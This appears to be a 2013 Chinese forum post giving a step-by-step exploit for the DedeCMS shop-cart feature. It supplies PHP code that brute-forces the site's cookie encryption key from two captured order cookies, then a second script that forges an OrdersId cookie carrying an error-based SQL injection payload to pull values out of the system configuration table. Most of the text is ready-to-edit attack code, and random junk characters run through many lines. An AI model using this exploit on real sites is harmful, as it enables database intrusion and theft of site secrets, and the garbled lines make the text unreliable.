中国网络渗透测试联盟

标题: 织梦CMS漏洞dedecms漏洞SQL注入漏洞 [打印本页]

作者: admin    时间: 2013-2-13 23:58
标题: 织梦CMS漏洞dedecms漏洞SQL注入漏洞
www.xxx.com/plus/search.php?keyword=
% `- C1 s# E' m+ V; R2 G" G在 include/shopcar.class.php中7 h! u  ^1 R" D: P4 L
先看一下这个shopcar类是如何生成cookie的
& r4 i# [; T) N- r9 m239      function saveCookie($key,$value)
7 l$ x! a# T7 b! g2 o; V9 T240      {5 h. O; R1 [7 K( T" n' k, \# G$ r
241          if(is_array($value))
. H$ G7 v% s; g242          {
( k1 H, L# g( R8 s% s243              $value = $this->enCrypt($this->enCode($value));
& C9 D& o! G. x0 Q  s244          }
% k1 m2 i" @+ _8 |& y245          else
; ~- \- e; C  U. S# I# K246          {$ X! l6 b" I% L- X- n
247              $value = $this->enCrypt($value);( `3 E- j2 i0 I/ B% ~4 g
248          }# v! ?: w1 q: o" {6 e( h! @
249          setcookie($key,$value,time()+36000,’/');2 S, A- n5 L0 l+ s# s0 w4 A- d1 m9 e
250      }2 r* J) [+ @" B6 ~5 c
简单的说,$key就是cookie的key,value就是value,enCode的作用是将array类型转变为a=yy&b=cc&d=know这样的类型,关键是enCrypt函数
* c4 w/ ]$ O/ l186      function enCrypt($txt)- w6 e2 c* G2 ^7 m) s1 ?
187      {
5 g/ q* x$ _! z" w8 Q' @188          srand((double)microtime() * 1000000);) j! W% r' [: h. j" J. |
189          $encrypt_key = md5(rand(0, 32000));
' s  f6 |  O7 D  V5 @1 a) u( G190          $ctr = 0;% j( [5 k" A. p# g
191          $tmp = ”;1 r4 I8 A" F4 }4 `* y% f/ P% Z
192          for($i = 0; $i < strlen($txt); $i++)* U; `+ m! K$ o: Z% K
193          {5 a$ |9 L& }6 d& |; w, t6 V  j4 V
194              $ctr = $ctr == strlen($encrypt_key) ? 0 : $ctr;
% O/ W  Q; d0 l8 f$ v# v195              $tmp .= $encrypt_key[$ctr].($txt[$i] ^ $encrypt_key[$ctr++]);
9 a- f, W/ N' w- p9 l196          }/ K8 x2 K# l" s9 t) n2 e* n3 V
197          return base64_encode($this->setKey($tmp));4 |5 F" F, `' a6 d+ V
198      }
6 q9 Z3 o; ?6 `213      function setKey($txt)% J9 f6 H4 R2 d! h# P
214      {
, N% `/ P* T2 ]215          global $cfg_cookie_encode;
0 i( j4 h  p- R% F+ U5 N/ b216          $encrypt_key = md5(strtolower($cfg_cookie_encode));( k* ~( u: {; K" _  u+ K
217          $ctr = 0;1 Z% p+ N9 C" K6 W( s" g- Q+ v1 u& V
218          $tmp = ”;/ I! w$ [3 U. T/ j( F7 A
219          for($i = 0; $i < strlen($txt); $i++)6 G4 S) X. v( k9 Q
220          {
' h2 @5 F( K. K/ q! P/ H- |221              $ctr = $ctr == strlen($encrypt_key) ? 0 : $ctr;7 I& Q* C* @- C9 b
222              $tmp .= $txt[$i] ^ $encrypt_key[$ctr++];9 J5 o% Q. c, W
223          }' D9 ~9 u9 r7 z- e3 X- n
224          return $tmp;
) S6 c* M7 X! u225      }/ f: r" _- ~3 B5 T" y8 \
enCrypt的参数$txt 我们是可知的,返回值就是cookie的值,这个我们也是可知的
: X! O6 U- c) v; W然后到了enCrypt调用 setKey时的参数$tmp,这个参数在某种意义上,我们也是可知的,因为$encrypt_key = md5(rand(0, 32000));只有32000种可能,我们可以推出32000种可能的$tmp,从而推出32000种可能的md5(strtolower($cfg_cookie_encode)),对了,忘记说了,我们的目的是推测出setKey中$encrypt_key的值,然后才能任意构造出购物车的cookie,从推出的32000种md5(strtolower($cfg_cookie_encode)),简单过滤掉非字母数字的key,就只剩下几百个可能的key,然后我们再从新下一次订单,然后再获取几百个可能的key,然后取交集,得到最终key。
2 s6 Y" B8 u) x具体代码如下:
+ Z4 o7 @3 x: p( Y: ?2 z<?php" f8 U4 l- a$ F7 M
$cookie1 = “X2lRPFNlCmlWc1cvAHNXMABjAToHbVcyB3ZXJFIwA20LIAlzU2ULPARyAmQGIVU5VyJbfFVsBiYNN1dsUG0DIl90UTFTLAo3VjBXYgBvVzgAZAEqBz9XagclVzBSbw==”; // here is the first cookie,change here
# Z+ d% O6 X8 r: S2 F& d- k$cookie2 = “ADYCb1RiBmUDJghwUyAFYlIxW2BROwhtVCUIe1AyC2UOJVMpADYBNgJ0AmRUcw5iAncAJ1JrCSlQalBrAj8CIwArAmJUKwY7A2UIPVM8BWpSNltwUWkINVR2CG9QbQ==”; // here is the second cookie ,change here
& {8 g8 n7 {5 t$ e$plantxt = “id=2&price=0&units=fun&buynum=1&title=naduohua1″; // here is the text , change here# T2 U2 ?7 h6 Q4 ~  h
function reStrCode($code,$string)
# @0 z) s" f' F- e' u{4 F5 \: C; U2 w. p  J4 L
$code = base64_decode($code);
& M$ _  A$ \) H" ~$key = “”;
5 A3 Q6 @8 I3 w+ o" bfor($i=0 ; $i<32 ; $i++), Q, C) Z5 w+ H$ |% C( `
{
# e4 r0 \* [2 k0 u! {/ ]3 Q+ E$key .= $string[$i] ^ $code[$i];
  g  {% ^  K" ]1 i8 X  I8 @}5 x; o+ `7 R+ l4 ^  `8 Q5 }* _
return $key;
. _# I( E, M1 z' b$ |6 v0 I}  e. E6 f8 {" a
function getKeys($cookie,$plantxt)6 L/ E; Y6 s. ^( h2 V; N6 g
{4 Z( v7 u' P8 r% Y9 Z) T5 x/ l
$tmp = $cookie;
( O# [$ D( }- Z# G6 T$results = array();& L( b7 k$ w) h5 `
for($j=0 ; $j < 32000; $j++)
/ A5 T" b, t) F{4 ]  Y5 _+ ^3 D- v+ r5 \% i  m
' F, U9 X+ h0 c
$txt = $plantxt;
& S4 B. F+ w" P, W$ctr = 0;
: t, p+ w6 |* }$ \$tmp = ”;
* {- D" a2 k% l$ y1 a9 P8 m$encrypt_key = md5($j);
& X, G  ~& v  b1 n6 a( [+ Rfor($i =0; $i < strlen($txt); $i ++)
* ?3 N, a, f/ W: v4 N{
  |2 g2 @* `5 g3 C# J$ R$ctr = $ctr == strlen($encrypt_key) ? 0 : $ctr;
: K5 u  _9 @4 ]$tmp .= $encrypt_key[$ctr].($txt[$i] ^ $encrypt_key[$ctr++]);; h1 y1 y' k. A) X6 l. x
}
1 A7 Q2 V" i9 c! i2 O$string = $tmp;
0 @/ D5 e. o/ T" D2 I$code = $cookie;
4 X; W0 S9 W8 r8 y# M1 i3 M$result = reStrCode($code,$string);
6 a6 k  f  T( S- Y8 W8 z% G3 qif(eregi(‘^[a-z0-9]+$’,$result))% O) X+ q8 @! ^
{# h" C* {/ a8 e# d8 m! ~6 p
echo $result.”\n”;
) q7 f- F9 Y0 ~* ^$results[] = $result;
6 e: L& e. B: T. y6 J$ R, q}0 Z8 p1 j* e1 w5 r4 X( L
}
5 K* X! I& l; R( hreturn $results;; Z' i1 t: H, \$ \: q3 Q+ D5 j
}1 {. n8 ?' a: M% s
$results1 = getKeys($cookie1,$plantxt);, V, B" R  m' d7 e) N
$results2 = getKeys($cookie2,$plantxt);
$ Q( I0 |  K( l# l$ E1 b) ^print “\n——————–real key————————–\n”;
' ?! U) S) m% P) g& b, bforeach($results1 as $test1)" B6 b2 |+ }3 `6 l+ k
{9 h+ ~  d7 j! v% z# }9 z
foreach($results2 as $test2)8 c' h% u' q+ y$ {6 x" v+ J
{, o- c; q2 z1 B& l1 Y
if($test1 == $test2)
) m4 x+ d" k4 A/ N* \2 D{
' k+ o' [2 R+ C: }echo $test1.”\n”;
# z6 z% Z/ ^4 M# ?" E}$ g7 }) P5 z) h0 C" C/ Q
}
9 t1 n+ i9 V2 k( L1 n4 {, Y- j}8 X2 p! v! }. E  I2 j0 H0 D8 ?
?>
; l7 l/ R3 Q9 h( y4 I9 R& `0 e9 wcookie1 和 cookie2 是我下了两次订单后分别生成的cookie,
! t7 W2 O: L) ]2 x4 j" E4 d- ~plantxt可以根据页面来自己推算,大概就是这个格式:id=2&price=0&units=fun&buynum=1&title=naduohua1
/ I4 f+ C6 W, M; ?, h( t7 ?然后推算出md5(strtolower($cfg_cookie_encode))
: @# g- {% D2 r- Y$ v得到这个key之后,我们就可以构造任意购物车的cookie6 s; @: t! X; c
接着看, [( f' L0 Q2 q. H
20  class MemberShops
0 u, Y; m; b% a- G5 r% w21  {. A1 M$ u* s% c, h0 B7 K
22      var $OrdersId;  U( G) u# D% ]+ ]
23      var $productsId;) J! G. j" N: A4 G- r
24
0 s9 e8 X1 s3 z- i* A) p8 n$ T25      function __construct()- \* W' `* c1 u  B
26      {$ _" f+ {! [; a. T
27          $this->OrdersId = $this->getCookie(“OrdersId”);
/ T, n, ~. u/ w" O28          if(empty($this->OrdersId))
1 M: L  M+ z1 I. @, z29          {: l' v/ W1 b, N: r+ B
30              $this->OrdersId = $this->MakeOrders();
9 m( h  x$ [& d% Q: E. {# T31          }
* i$ V# m; r- c# \32      }
" g' m' C" G7 E! M7 s+ l. K发现OrderId是从cookie里面获取的: A2 K- g3 k3 ^3 @: l: O
然后2 g& ^$ r+ h9 b  e# ]6 o
/plus/carbuyaction.php中的0 Y: B$ E- |8 v0 a. j" r4 W5 }
29      $cart    = new MemberShops();/ U: _2 k' n# L5 [: B
39      $OrdersId = $cart->OrdersId;        //本次记录的订单号
: K% P- Q+ X, |, X( t, i7 @! W# [……
9 q+ s! f' m; ?! Y9 }( [173          $rows = $dsql->GetOne(“SELECT `oid` FROM #@__shops_orders WHERE oid=’$OrdersId’ LIMIT 0,1″);1 [$ X- @& n3 P0 F) g) |' T
接着我们就可以注入了, E* g# ^$ e, F) k
通过利用下面代码生成cookie:$ O! q* f# a, g3 |
<?php2 F$ `% r1 k& B+ R/ V+ q7 b/ X2 t
$txt = “1′ or 1=@`\’` and (SELECT 1 FROM (select count(*),concat(floor(rand(0)*2),(substring((select value from #@__sysconfig where aid=3),1,62)))a from information_schema.tables group by a)b) or 1=@`\’` or ’1′=’1″;7 U, Q9 H+ O! C
$encrypt_key = “9f09293b7419ed68448fb51d5b174834″;   // here is the key, please change here
) Q" c7 U- v$ ?* G- X, dfunction setKey($txt)
% f% T. t0 S, e2 z8 n) s5 s{
. d8 \6 F) ~4 ~global $encrypt_key;
% V2 P  Z- ?3 j% ?9 ?3 F; D5 c$ctr = 0;
! P$ k. I5 H7 \/ `) c* _$tmp = ”;4 u; f) Y9 a/ _: P
for($i = 0; $i < strlen($txt); $i++)
" {" w) F& n  s{* n6 L2 y- o. {2 y3 V
$ctr = $ctr == strlen($encrypt_key) ? 0 : $ctr;" z, h, H. M, J! e1 k
$tmp .= $txt[$i] ^ $encrypt_key[$ctr++];
2 U$ j# f4 w5 X& }7 d; ?# Z}
2 S" L& U; w! I& U. w5 \* }return $tmp;
# \" W% H1 ~$ P% E- n9 q7 l7 N" U- Y}( q3 `5 @- K7 T' n( m8 k
function enCrypt($txt)
$ f  Z, T2 ?9 K& \+ D3 O% a, l{
6 T  @4 m+ j$ G: Z$ N+ Ksrand((double)microtime() * 1000000);
! R- a: N7 A8 x' ]- F$encrypt_key = md5(rand(0, 32000));- d/ }, `$ w# _/ r9 ?6 i8 O
$ctr = 0;6 U5 ], z+ v* u( Y( s$ |; d
$tmp = ”;
( ?+ |' p/ e2 M! xfor($i = 0; $i < strlen($txt); $i++)
' t0 {) Z; J  w{
) X1 n# p! W/ c+ P9 f) Y- s: C4 ?$ctr = $ctr == strlen($encrypt_key) ? 0 : $ctr;
) p% l* n3 y: \" D0 M$ X6 D) s$tmp .= $encrypt_key[$ctr].($txt[$i] ^ $encrypt_key[$ctr++]);7 b$ E2 Y$ P0 |2 ?
}* B3 \2 _, A6 z( Z
return base64_encode(setKey($tmp));
+ j3 Q+ k4 n- a( z1 k. @6 t}" y5 e7 k  \6 D0 ]) [
for($dest =0;$dest = enCrypt($txt);), N6 T7 ?7 k/ N# M4 A& Y
{
1 c$ @# E( r( \' dif(!strpos($dest,’+'))
" N6 g: o$ P/ C5 i- S7 C. j{
: N) z+ @" j! _  c1 @4 ybreak;
/ K4 }' k/ h. l}( V9 _- F) t' w% v) [7 C2 v5 U
}
% y$ S5 h( s; {9 `0 S- Iecho $dest.”\n”;
! e2 V% S, Z2 u& K  w" k+ |?>& e6 }. K: I8 R) S# g( {7 [2 ?, ]$ f
& k$ K  n2 v" M) ?% Y2 w& \( s





欢迎光临 中国网络渗透测试联盟 (https://cobjon.com/) Powered by Discuz! X3.2